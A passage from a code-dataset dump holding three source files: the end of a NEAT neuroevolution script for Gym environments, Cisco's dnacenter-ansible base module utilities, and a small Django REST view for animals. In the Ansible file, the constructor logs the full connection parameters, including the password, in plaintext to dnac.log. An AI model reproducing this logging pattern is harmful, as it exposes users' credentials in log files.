dr) ** 2)) # squared error from discounted reward value???\n # TODO: This is extremely vulnerable to strange minima. We need to do more than simply predict the reward of\n # TODO: our own policy.\n\n return np.mean(reward_error)\n\n\nEpisode = namedtuple(\"Episode\", [\"observations\", \"actions\", \"rewards\"])\n\n\ndef run_sim_episodes(args):\n net, gym_config = args\n env = gym.make(gym_config.env_id)\n episodes = []\n for _ in range(gym_config.num_fitness_episodes):\n observation, _ = env.reset()\n observations = []\n actions = []\n rewards = []\n while True:\n _, action, observation, reward, done, _ = take_step(env, observation, net,\n gym_config.random_action_prob)\n observations.append(observation)\n actions.append(action)\n rewards.append(reward)\n\n if done:\n break\n\n observations = np.array(observations)\n actions = np.array(actions)\n rewards = np.array(rewards)\n episodes.append(Episode(observations, actions, rewards))\n\n return episodes\n\n\nclass PooledErrorCompute(object):\n\n def __init__(self, gym_config, pool=None):\n self.gym_config = gym_config\n self.pool = pool\n self.generation = 0\n self.test_episodes = []\n\n def simulate(self, nets, gym_config):\n msg = f\"Simulating {len(nets)} nets in {gym_config.num_fitness_episodes} episodes\"\n jobs = [(net, gym_config) for _, net in nets]\n if self.pool:\n print(msg + f\", in parallel...\", flush=True)\n results = self.pool.map(run_sim_episodes, jobs)\n else:\n print(msg + \", serially...\", flush=True)\n results = map(run_sim_episodes, jobs)\n\n for i, episodes in enumerate(results):\n genome = nets[i][0]\n scores = [ep.rewards.sum() for ep in episodes]\n genome.fitness = sum(scores) / gym_config.num_fitness_episodes\n self.test_episodes.extend(episodes)\n\n def evaluate_genomes(self, genomes, config):\n self.generation += 1\n config.update_schedules(self.generation)\n\n t0 = time.time()\n nets = [(g, neat.nn.FeedForwardNetwork.create(g, config)) for gid, g in genomes]\n print(f\"Time to create {len(nets)} networks: {time.time() - t0:.2f}s\")\n t0 = time.time()\n\n # Periodically generate a new set of episodes for comparison. However, if we are using the score as part of the\n # fitness computation (`fitness_weight > 0`), then we always need to run this part.\n if config.gym_config.fitness_weight > 0 or self.generation % config.gym_config.new_episode_rate == 1:\n # Keep the episodes from the past two generations.\n num_to_keep = 2 * len(nets) * config.gym_config.num_fitness_episodes\n self.test_episodes = self.test_episodes[-num_to_keep:]\n self.simulate(nets, config.gym_config)\n print(f\"Simulation run time: {time.time() - t0:.2f}s\")\n t0 = time.time()\n\n if config.gym_config.reward_prediction_weight > 0.0:\n # Assign a composite fitness to each genome; genomes can make progress either\n # by improving their total reward or by making more accurate reward estimates.\n msg = f\"Evaluating {len(nets)} nets on {len(self.test_episodes)} test episodes\"\n jobs = [(genome, net, self.test_episodes, config.gym_config.reward_range,\n config.genome_config.use_reward_discount) for genome, net in nets]\n if self.pool:\n print(msg + f\", in parallel...\")\n results = self.pool.map(compute_reward_prediction_error, jobs)\n else:\n print(msg + \", serially...\")\n results = map(compute_reward_prediction_error, jobs)\n for i, pred_error in enumerate(results):\n genome = nets[i][0]\n if config.gym_config.fitness_weight > 0:\n genome.fitness = (config.gym_config.fitness_weight * genome.fitness -\n config.gym_config.reward_prediction_weight * pred_error)\n else:\n genome.fitness = -config.gym_config.reward_prediction_weight * pred_error\n\n print(f\"Reward prediction compute time: {time.time() - t0:.2f}s\\n\")\n\n # NOTE: This is a hack needed for running in batch mode in Slurm, because multiprocessing seems to prevent\n # automatic flushing.\n sys.stderr.flush()\n sys.stdout.flush()\n\n\ndef run_evolution(config, result_dir, proc=None):\n \"\"\"\n Run until the winner from a generation is able to solve the environment or the user interrupts the process.\n \"\"\"\n env = None\n pool = None\n stats = None\n best_genomes = None\n\n try:\n print(f'Creating Gym environment \"{config.gym_config.env_id}\".')\n env = gym.make(config.gym_config.env_id)\n num_proc = NUM_CORES if proc is None else proc\n if num_proc > 1:\n print(f\"Spawning a pool of {num_proc} processes.\")\n t0 = time.time()\n pool = multiprocessing.Pool(num_proc)\n print(f\"Time to create process pool: {time.time() - t0:.2f}s\", flush=True)\n else:\n pool = None\n ec = PooledErrorCompute(config.gym_config, pool)\n\n pop = neat.Population(config)\n stats = reporters.StatisticsReporter(pop)\n pop.add_reporter(stats)\n pop.add_reporter(neat.StdOutReporter(True))\n # Checkpoint every 25 generations or 900 seconds.\n pop.add_reporter(neat.Checkpointer(25, 900))\n\n steps_between_eval = config.gym_config.steps_between_eval\n\n while ec.generation < config.gym_config.max_steps:\n gen_best = pop.run(ec.evaluate_genomes, steps_between_eval)\n\n # print(gen_best)\n\n visualize.plot_fitness(stats, savepath=result_dir / \"fitness.svg\")\n visualize.plot_species(stats, savepath=result_dir / \"speciation.svg\")\n\n mfs = np.mean(stats.get_fitness_mean()[-steps_between_eval:])\n print(f\"Average mean fitness over last {steps_between_eval} generations: {mfs}\")\n mfs = np.mean(stats.get_fitness_stat(max)[-steps_between_eval:])\n print(f\"Average max fitness over last {steps_between_eval} generations: {mfs}\")\n\n # Evaluate the best genomes seen so far.\n best_genomes = stats.best_unique_genomes(config.gym_config.num_best)\n best_networks = [neat.nn.FeedForwardNetwork.create(g, config) for g in best_genomes]\n\n # If we want to evaluate as an ensemble, just make this a list of one list, so all networks are used\n # together in one ensemble.\n if config.gym_config.eval_ensemble:\n best_networks = [best_networks]\n\n solved = [True] * len(best_networks)\n for i, net in enumerate(best_networks):\n ensemble_text = f\" (ensemble of {len(net)} networks)\" if isinstance(net, list) else \"\"\n print(f\"Testing network {i}\" + ensemble_text + \"...\")\n scores = []\n for k in range(config.gym_config.num_evals):\n observation, _ = env.reset()\n score = 0\n step = 0\n done = False\n while not done:\n step += 1\n # Use the total reward estimates from all the best networks to\n # determine the best action given the current state.\n _, _, observation, reward, done, _ = take_step(env, observation, net)\n score += reward\n if not os.environ.get(\"HEADLESS\"):\n env.render()\n\n scores.append(score)\n avg_score = np.mean(scores)\n print(f\" Test Episode {k}: score = {score}, avg so far = {avg_score}\")\n if score < config.gym_config.score_threshold:\n # We must always get above the threshold, else stop early and decide we aren't solved yet.\n solved[i] = False\n break\n\n # NOTE: This is a hack needed for running in batch mode in Slurm, because multiprocessing seems to prevent\n # automatic flushing.\n sys.stderr.flush()\n sys.stdout.flush()\n\n if np.any(solved):\n msg = \"Solved by: \"\n for i, s in enumerate(solved):\n if s:\n msg += f\"winner-{best_networks[i]}, \"\n print(msg[:-2])\n return best_genomes\n\n # end while\n print(\"Reached maximum number of generations.\")\n\n except KeyboardInterrupt:\n print(\"User requested termination.\")\n\n finally:\n if stats:\n df = stats.to_pandas()\n if df is not None:\n df.to_pickle(result_dir / \"generations.pkl\")\n if env:\n env.close()\n if pool:\n pool.terminate()\n pool.join()\n\n return best_genomes\n\n\ndef main(argv=None):\n parser = argutils.create_parser(__doc__)\n argutils.add_experiment_args(parser)\n args = parser.parse_args(argv)\n argutils.resolve_experiment_args(parser, args, __file__)\n\n config = make_config(args.config)\n result_path = args.results_dir.resolve()\n result_path.mkdir(parents=True, exist_ok=True)\n print(f\"Using result path: {result_path}\")\n\n best_genomes = run_evolution(config, result_path, args.proc)\n\n # Save the winners.\n if best_genomes:\n print(f\"Saving the {len(best_genomes)} best genomes.\")\n for n, g in enumerate(best_genomes):\n name = f\"winner-{n}\"\n with open(result_path / f\"{name}.pkl\", \"wb\") as f:\n pickle.dump(g, f)\n\n visualize.draw_net(config, g, view=False, savepath=result_path / f\"{name}-net.gv\")\n visualize.draw_net(config, g, view=False, savepath=result_path / f\"{name}-net-pruned.gv\", prune_unused=True)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n","repo_name":"ntraft/synaptic-exuberance","sub_path":"gymex/evolve.py","file_name":"evolve.py","file_ext":"py","file_size_in_byte":13572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37932171815","text":"from __future__ import (absolute_import, division, print_function)\n__metaclass__ = type\ntry:\n from dnacentersdk import api, exceptions\nexcept ImportError:\n DNAC_SDK_IS_INSTALLED = False\nelse:\n DNAC_SDK_IS_INSTALLED = True\nfrom ansible.module_utils._text import to_native\nfrom ansible.module_utils.common import validation\nfrom abc import ABCMeta, abstractmethod\ntry:\n import logging\nexcept ImportError:\n LOGGING_IN_STANDARD = False\nelse:\n LOGGING_IN_STANDARD = True\nimport os.path\nimport copy\nimport datetime\nimport inspect\n\n\nclass DnacBase():\n\n \"\"\"Class contains members which can be reused for all intent modules\"\"\"\n\n __metaclass__ = ABCMeta\n\n def __init__(self, module):\n self.module = module\n self.params = module.params\n self.config = copy.deepcopy(module.params.get(\"config\"))\n self.have = {}\n self.want = {}\n self.validated_config = []\n self.msg = \"\"\n self.status = \"success\"\n dnac_params = self.get_dnac_params(self.params)\n self.dnac = DNACSDK(params=dnac_params)\n self.dnac_apply = {'exec': self.dnac._exec}\n self.get_diff_state_apply = {'merged': self.get_diff_merged,\n 'deleted': self.get_diff_deleted,\n 'replaced': self.get_diff_replaced,\n 'overridden': self.get_diff_overridden,\n 'gathered': self.get_diff_gathered,\n 'rendered': self.get_diff_rendered,\n 'parsed': self.get_diff_parsed\n }\n self.dnac_log = dnac_params.get(\"dnac_log\")\n log(str(dnac_params))\n self.supported_states = [\"merged\", \"deleted\", \"replaced\", \"overridden\", \"gathered\", \"rendered\", \"parsed\"]\n self.result = {\"changed\": False, \"diff\": [], \"response\": [], \"warnings\": []}\n\n @abstractmethod\n def validate_input(self):\n pass\n\n def get_diff_merged(self):\n # Implement logic to merge the resource configuration\n self.merged = True\n return self\n\n def get_diff_deleted(self):\n # Implement logic to delete the resource\n self.deleted = True\n return self\n\n def get_diff_replaced(self):\n # Implement logic to replace the resource\n self.replaced = True\n return self\n\n def get_diff_overridden(self):\n # Implement logic to overwrite the resource\n self.overridden = True\n return self\n\n def get_diff_gathered(self):\n # Implement logic to gather data about the resource\n self.gathered = True\n return self\n\n def get_diff_rendered(self):\n # Implement logic to render a configuration template\n self.rendered = True\n return self\n\n def get_diff_parsed(self):\n # Implement logic to parse a configuration file\n self.parsed = True\n return True\n\n def log(self, message, frameIncrement=0):\n \"\"\"Log messages into dnac.log file\"\"\"\n\n if self.dnac_log:\n message = \"Module: \" + self.__class__.__name__ + \", \" + message\n log(message, (1 + frameIncrement))\n\n def check_return_status(self):\n \"\"\"API to check the return status value and exit/fail the module\"\"\"\n\n self.log(\"status: {0}, msg:{1}\".format(self.status, self.msg), frameIncrement=1)\n if \"failed\" in self.status:\n self.module.fail_json(msg=self.msg, response=[])\n elif \"exited\" in self.status:\n self.module.exit_json(**self.result)\n elif \"invalid\" in self.status:\n self.module.fail_json(msg=self.msg, response=[])\n\n def get_dnac_params(self, params):\n \"\"\"Store the DNAC parameters from the playbook\"\"\"\n\n dnac_params = {\"dnac_host\": params.get(\"dnac_host\"),\n \"dnac_port\": params.get(\"dnac_port\"),\n \"dnac_username\": params.get(\"dnac_username\"),\n \"dnac_password\": params.get(\"dnac_password\"),\n \"dnac_verify\": params.get(\"dnac_verify\"),\n \"dnac_debug\": params.get(\"dnac_debug\"),\n \"dnac_log\": params.get(\"dnac_log\")\n }\n return dnac_params\n\n def get_task_details(self, task_id):\n \"\"\"Check if the task performed is sucessfull or not\"\"\"\n\n result = None\n response = self.dnac_apply['exec'](\n family=\"task\",\n function=\"get_task_by_id\",\n params={\"task_id\": task_id},\n )\n\n self.log(str(response))\n if isinstance(response, dict):\n result = response.get(\"response\")\n\n return result\n\n def reset_values(self):\n \"\"\"Reset all neccessary attributes to default values\"\"\"\n\n self.have.clear()\n self.want.clear()\n\n def get_execution_details(self, execid):\n \"\"\"\n Get the execution details of an API\n\n Parameters:\n execid (str) - Id for API execution\n\n Returns:\n response (dict) - Status for API execution\n \"\"\"\n\n self.log(\"Execution Id \" + str(execid))\n response = self.dnac._exec(\n family=\"task\",\n function='get_business_api_execution_details',\n params={\"execution_id\": execid}\n )\n self.log(\"Response for the current execution\" + str(response))\n return response\n\n def check_execution_response_status(self, response):\n \"\"\"\n Checks the reponse status provided by API in the DNAC\n\n Parameters:\n response (dict) - API response\n\n Returns:\n self\n \"\"\"\n\n self.log(str(response))\n if not response:\n self.msg = \"response is empty\"\n self.status = \"failed\"\n return self\n\n if not isinstance(response, dict):\n self.msg = \"response is not a dictionary\"\n self.status = \"failed\"\n return self\n\n executionid = response.get(\"executionId\")\n while True:\n execution_details = self.get_execution_details(executionid)\n if execution_details.get(\"status\") == \"SUCCESS\":\n self.result['changed'] = True\n self.msg = \"Successfully executed\"\n self.status = \"success\"\n break\n\n if execution_details.get(\"bapiError\"):\n self.msg = execution_details.get(\"bapiError\")\n self.status = \"failed\"\n break\n\n return self\n\n\ndef log(msg, frameIncrement=0):\n with open('dnac.log', 'a') as of:\n callerframerecord = inspect.stack()[1 + frameIncrement]\n frame = callerframerecord[0]\n info = inspect.getframeinfo(frame)\n d = datetime.datetime.now().replace(microsecond=0).isoformat()\n of.write(\"---- %s ---- %s@%s ---- %s \\n\" % (d, info.lineno, info.function, msg))\n\n\ndef is_list_complex(x):\n return isinstance(x[0], dict) or isinstance(x[0], list)\n\n\ndef has_diff_elem(ls1, ls2):\n return any((elem not in ls1 for elem in ls2))\n\n\ndef compare_list(list1, list2):\n len_list1 = len(list1)\n len_list2 = len(list2)\n if len_list1 != len_list2:\n return False\n\n if len_list1 == 0:\n return True\n\n attempt_std_cmp = list1 == list2\n if attempt_std_cmp:\n return True\n\n if not is_list_complex(list1) and not is_list_complex(list2):\n return set(list1) == set(list2)\n\n # Compare normally if it exceeds expected size * 2 (len_list1==len_list2)\n MAX_SIZE_CMP = 100\n # Fail fast if elem not in list, thanks to any and generators\n if len_list1 > MAX_SIZE_CMP:\n return attempt_std_cmp\n else:\n # not changes 'has diff elem' to list1 != list2 ':lists are not equal'\n return not (has_diff_elem(list1, list2)) or not (has_diff_elem(list2, list1))\n\n\ndef fn_comp_key(k, dict1, dict2):\n return dnac_compare_equality(dict1.get(k), dict2.get(k))\n\n\ndef dnac_compare_equality(current_value, requested_value):\n # print(\"dnac_compare_equality\", current_value, requested_value)\n if requested_value is None:\n return True\n if current_value is None:\n return True\n if isinstance(current_value, dict) and isinstance(requested_value, dict):\n all_dict_params = list(current_value.keys()) + list(requested_value.keys())\n return not any((not fn_comp_key(param, current_value, requested_value) for param in all_dict_params))\n elif isinstance(current_value, list) and isinstance(requested_value, list):\n return compare_list(current_value, requested_value)\n else:\n return current_value == requested_value\n\n\ndef simple_cmp(obj1, obj2):\n return obj1 == obj2\n\n\ndef get_dict_result(result, key, value, cmp_fn=simple_cmp):\n if isinstance(result, list):\n if len(result) == 1:\n if isinstance(result[0], dict):\n result = result[0]\n if result.get(key) is not None and result.get(key) != value:\n result = None\n else:\n result = None\n else:\n for item in result:\n if isinstance(item, dict) and (item.get(key) is None or item.get(key) == value):\n result = item\n return result\n result = None\n elif not isinstance(result, dict):\n result = None\n elif result.get(key) is not None and result.get(key) != value:\n result = None\n return result\n\n\ndef dnac_argument_spec():\n argument_spec = dict(\n dnac_host=dict(type=\"str\", required=True),\n dnac_port=dict(type=\"int\", required=False, default=443),\n dnac_username=dict(type=\"str\", default=\"admin\", aliases=[\"user\"]),\n dnac_password=dict(type=\"str\", no_log=True),\n dnac_verify=dict(type=\"bool\", default=True),\n dnac_version=dict(type=\"str\", default=\"2.2.3.3\"),\n dnac_debug=dict(type=\"bool\", default=False),\n validate_response_schema=dict(type=\"bool\", default=True),\n )\n return argument_spec\n\n\ndef validate_str(item, param_spec, param_name, invalid_params):\n \"\"\"\n This function checks that the input `item` is a valid string and confirms to\n the constraints specified in `param_spec`. If the string is not valid or does\n not meet the constraints, an error message is added to `invalid_params`.\n\n Args:\n item (str): The input string to be validated.\n param_spec (dict): The parameter's specification, including validation constraints.\n param_name (str): The name of the parameter being validated.\n invalid_params (list): A list to collect validation error messages.\n\n Returns:\n str: The validated and possibly normalized string.\n\n Example `param_spec`:\n {\n \"type\": \"str\",\n \"length_max\": 255 # Optional: maximum allowed length\n }\n \"\"\"\n\n item = validation.check_type_str(item)\n if param_spec.get(\"length_max\"):\n if 1 <= len(item) <= param_spec.get(\"length_max\"):\n return item\n else:\n invalid_params.append(\n \"{0}:{1} : The string exceeds the allowed \"\n \"range of max {2} char\".format(param_name, item, param_spec.get(\"length_max\"))\n )\n return item\n\n\ndef validate_int(item, param_spec, param_name, invalid_params):\n \"\"\"\n This function checks that the input `item` is a valid integer and conforms to\n the constraints specified in `param_spec`. If the integer is not valid or does\n not meet the constraints, an error message is added to `invalid_params`.\n\n Args:\n item (int): The input integer to be validated.\n param_spec (dict): The parameter's specification, including validation constraints.\n param_name (str): The name of the parameter being validated.\n invalid_params (list): A list to collect validation error messages.\n\n Returns:\n int: The validated integer.\n\n Example `param_spec`:\n {\n \"type\": \"int\",\n \"range_min\": 1, # Optional: minimum allowed value\n \"range_max\": 100 # Optional: maximum allowed value\n }\n \"\"\"\n\n item = validation.check_type_int(item)\n min_value = 1\n if param_spec.get(\"range_min\") is not None:\n min_value = param_spec.get(\"range_min\")\n if param_spec.get(\"range_max\"):\n if min_value <= item <= param_spec.get(\"range_max\"):\n return item\n else:\n invalid_params.append(\n \"{0}:{1} : The item exceeds the allowed \"\n \"range of max {2}\".format(param_name, item, param_spec.get(\"range_max\"))\n )\n return item\n\n\ndef validate_bool(item, param_spec, param_name, invalid_params):\n \"\"\"\n This function checks that the input `item` is a valid boolean value. If it does\n not represent a valid boolean value, an error message is added to `invalid_params`.\n\n Args:\n item (bool): The input boolean value to be validated.\n param_spec (dict): The parameter's specification, including validation constraints.\n param_name (str): The name of the parameter being validated.\n invalid_params (list): A list to collect validation error messages.\n\n Returns:\n bool: The validated boolean value.\n \"\"\"\n\n return validation.check_type_bool(item)\n\n\ndef validate_list(item, param_spec, param_name, invalid_params):\n \"\"\"\n This function checks if the input `item` is a valid list based on the specified `param_spec`.\n It also verifies that the elements of the list match the expected data type specified in the\n `param_spec`. If any validation errors occur, they are appended to the `invalid_params` list.\n\n Args:\n item (list): The input list to be validated.\n param_spec (dict): The parameter's specification, including validation constraints.\n param_name (str): The name of the parameter being validated.\n invalid_params (list): A list to collect validation error messages.\n\n Returns:\n list: The validated list, potentially normalized based on the specification.\n \"\"\"\n\n try:\n if param_spec.get(\"type\") == type(item).__name__:\n keys_list = []\n for dict_key in param_spec:\n keys_list.append(dict_key)\n if len(keys_list) == 1:\n return validation.check_type_list(item)\n\n temp_dict = {keys_list[1]: param_spec[keys_list[1]]}\n try:\n if param_spec['elements']:\n get_spec_type = param_spec['type']\n get_spec_element = param_spec['elements']\n if type(item).__name__ == get_spec_type:\n for element in item:\n if type(element).__name__ != get_spec_element:\n invalid_params.append(\n \"{0} is not of the same datatype as expected which is {1}\".format(element, get_spec_element)\n )\n else:\n invalid_params.append(\n \"{0} is not of the same datatype as expected which is {1}\".format(item, get_spec_type)\n )\n except Exception as e:\n item, list_invalid_params = validate_list_of_dicts(item, temp_dict)\n invalid_params.extend(list_invalid_params)\n else:\n invalid_params.append(\"{0} : is not a valid list\".format(item))\n except Exception as e:\n invalid_params.append(\"{0} : comes into the exception\".format(e))\n\n return item\n\n\ndef validate_dict(item, param_spec, param_name, invalid_params):\n \"\"\"\n This function checks if the input `item` is a valid dictionary based on the specified `param_spec`.\n If the dictionary does not match the expected data type specified in the `param_spec`,\n a validation error is appended to the `invalid_params` list.\n\n Args:\n item (dict): The input dictionary to be validated.\n param_spec (dict): The parameter's specification, including validation constraints.\n param_name (str): The name of the parameter being validated.\n invalid_params (list): A list to collect validation error messages.\n\n Returns:\n dict: The validated dictionary.\n \"\"\"\n\n if param_spec.get(\"type\") != type(item).__name__:\n invalid_params.append(\"{0} : is not a valid dictionary\".format(item))\n return validation.check_type_dict(item)\n\n\ndef validate_list_of_dicts(param_list, spec, module=None):\n \"\"\"Validate/Normalize playbook params. Will raise when invalid parameters found.\n param_list: a playbook parameter list of dicts\n spec: an argument spec dict\n e.g. spec = dict(ip=dict(required=True, type='bool'),\n foo=dict(type='str', default='bar'))\n return: list of normalized input data\n \"\"\"\n\n v = validation\n normalized = []\n invalid_params = []\n\n for list_entry in param_list:\n valid_params_dict = {}\n if not spec:\n # Handle the case when spec becomes empty but param list is still there\n invalid_params.append(\"No more spec to validate, but parameters remain\")\n break\n for param in spec:\n item = list_entry.get(param)\n log(str(item))\n if item is None:\n if spec[param].get(\"required\"):\n invalid_params.append(\n \"{0} : Required parameter not found\".format(param)\n )\n else:\n item = spec[param].get(\"default\")\n valid_params_dict[param] = item\n continue\n data_type = spec[param].get(\"type\")\n switch = {\n \"str\": validate_str,\n \"int\": validate_int,\n \"bool\": validate_bool,\n \"list\": validate_list,\n \"dict\": validate_dict,\n }\n\n validator = switch.get(data_type)\n if validator:\n item = validator(item, spec[param], param, invalid_params)\n else:\n invalid_params.append(\n \"{0}:{1} : Unsupported data type {2}.\".format(param, item, data_type)\n )\n\n choice = spec[param].get(\"choices\")\n if choice:\n if item not in choice:\n invalid_params.append(\n \"{0} : Invalid choice provided\".format(item)\n )\n\n no_log = spec[param].get(\"no_log\")\n if no_log:\n if module is not None:\n module.no_log_values.add(item)\n else:\n msg = \"\\n\\n'{0}' is a no_log parameter\".format(param)\n msg += \"\\nAnsible module object must be passed to this \"\n msg += \"\\nfunction to ensure it is not logged\\n\\n\"\n raise Exception(msg)\n\n valid_params_dict[param] = item\n normalized.append(valid_params_dict)\n\n return normalized, invalid_params\n\n\nclass DNACSDK(object):\n def __init__(self, params):\n self.result = dict(changed=False, result=\"\")\n self.validate_response_schema = params.get(\"validate_response_schema\")\n if DNAC_SDK_IS_INSTALLED:\n self.api = api.DNACenterAPI(\n username=params.get(\"dnac_username\"),\n password=params.get(\"dnac_password\"),\n base_url=\"https://{dnac_host}:{dnac_port}\".format(\n dnac_host=params.get(\"dnac_host\"), dnac_port=params.get(\"dnac_port\")\n ),\n version=params.get(\"dnac_version\"),\n verify=params.get(\"dnac_verify\"),\n debug=params.get(\"dnac_debug\"),\n )\n if params.get(\"dnac_debug\") and LOGGING_IN_STANDARD:\n logging.getLogger('dnacentersdk').addHandler(logging.StreamHandler())\n else:\n self.fail_json(msg=\"DNA Center Python SDK is not installed. Execute 'pip install dnacentersdk'\")\n\n def changed(self):\n self.result[\"changed\"] = True\n\n def object_created(self):\n self.changed()\n self.result[\"result\"] = \"Object created\"\n\n def object_updated(self):\n self.changed()\n self.result[\"result\"] = \"Object updated\"\n\n def object_deleted(self):\n self.changed()\n self.result[\"result\"] = \"Object deleted\"\n\n def object_already_absent(self):\n self.result[\"result\"] = \"Object already absent\"\n\n def object_already_present(self):\n self.result[\"result\"] = \"Object already present\"\n\n def object_present_and_different(self):\n self.result[\"result\"] = \"Object already present, but it has different values to the requested\"\n\n def object_modify_result(self, changed=None, result=None):\n if result is not None:\n self.result[\"result\"] = result\n if changed:\n self.changed()\n\n def is_file(self, file_path):\n return os.path.isfile(file_path)\n\n def extract_file_name(self, file_path):\n return os.path.basename(file_path)\n\n def _exec(self, family, function, params=None, op_modifies=False, **kwargs):\n try:\n family = getattr(self.api, family)\n func = getattr(family, function)\n except Exception as e:\n self.fail_json(msg=e)\n\n try:\n if params:\n file_paths_params = kwargs.get('file_paths', [])\n # This substitution is for the import file operation\n if file_paths_params and isinstance(file_paths_params, list):\n multipart_fields = {}\n for (key, value) in file_paths_params:\n if isinstance(params.get(key), str) and self.is_file(params[key]):\n file_name = self.extract_file_name(params[key])\n file_path = params[key]\n multipart_fields[value] = (file_name, open(file_path, 'rb'))\n\n params.setdefault(\"multipart_fields\", multipart_fields)\n params.setdefault(\"multipart_monitor_callback\", None)\n\n if not self.validate_response_schema and op_modifies:\n params[\"active_validation\"] = False\n\n response = func(**params)\n else:\n response = func()\n except exceptions.dnacentersdkException as e:\n self.fail_json(\n msg=(\n \"An error occured when executing operation.\"\n \" The error was: {error}\"\n ).format(error=to_native(e))\n )\n return response\n\n def fail_json(self, msg, **kwargs):\n self.result.update(**kwargs)\n raise Exception(msg)\n\n def exit_json(self):\n return self.result\n\n\ndef main():\n pass\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"cisco-en-programmability/dnacenter-ansible","sub_path":"plugins/module_utils/dnac.py","file_name":"dnac.py","file_ext":"py","file_size_in_byte":23003,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"21"} +{"seq_id":"15831524641","text":"from functools import partial\nfrom rest_framework.views import APIView, Request, Response, status\n\nfrom animals.models import Animal\nfrom animals.serializers import AnimalSerializer\n\n\nclass AnimalView(APIView):\n def get(self, _:Request):\n animals = Animal.objects.all()\n serialized = AnimalSerializer(instance=animals, many=True)\n\n return Response({\"animals\": serialized.data}, status.HTTP_200_OK)\n\n def post(self, req:Request):\n serialized = AnimalSerializer(data=req.data)\n print(\"antes de validar\", serialized)\n serialized.is_valid(raise_exception=True)\n serialized.save()\n\n return Response(serialized.data, status.HTTP_201_CREATED)\n\nclass AnimalIdView(APIView):\n def get(self, _:Request, animal_id):\n try:\n animal = Animal.objects.get(id=animal_id)\n serialized = AnimalSerializer(instance=animal)\n\n return Response({\"animal\": serialized.data}, status.HTTP_200_OK)\n except:\n return Response({\"error\": \"animal does not exist\"}, status.HTTP_404_NOT_FOUND)\n\n def patch(self, req:Request, animal_id):\n\n try:\n animal = Animal.objects.get(id=animal_id)\n serialized = AnimalSerializer(animal, req.data, partial=True)\n serialized.is_valid()\n\n serialized.save()\n\n return Response({\"animal\": serialized.data}, status.HTTP_200_OK)\n except ValueError as err:\n return Response(*err.args)\n except:\n return Response({\"error\": \"animal does not exist\"}, status.HTTP_404_NOT_FOUND)\n\n \n def delete(self, _:Request, animal_id):\n try:\n animal = Animal.objects.get(id=animal_id)\n animal.delete()\n\n return Response(\"\", status.HTTP_204_NO_CONTENT)\n except:\n return Response({\"error\": \"animal does not exist\"}, status.HTTP_404_NOT_FOUND)","repo_name":"Kenzie-Academy-Brasil-Developers/m5-sprint3-kenzie-pet-Kurein","sub_path":"animals/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} diff --git a/4118.jsonl b/4118.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391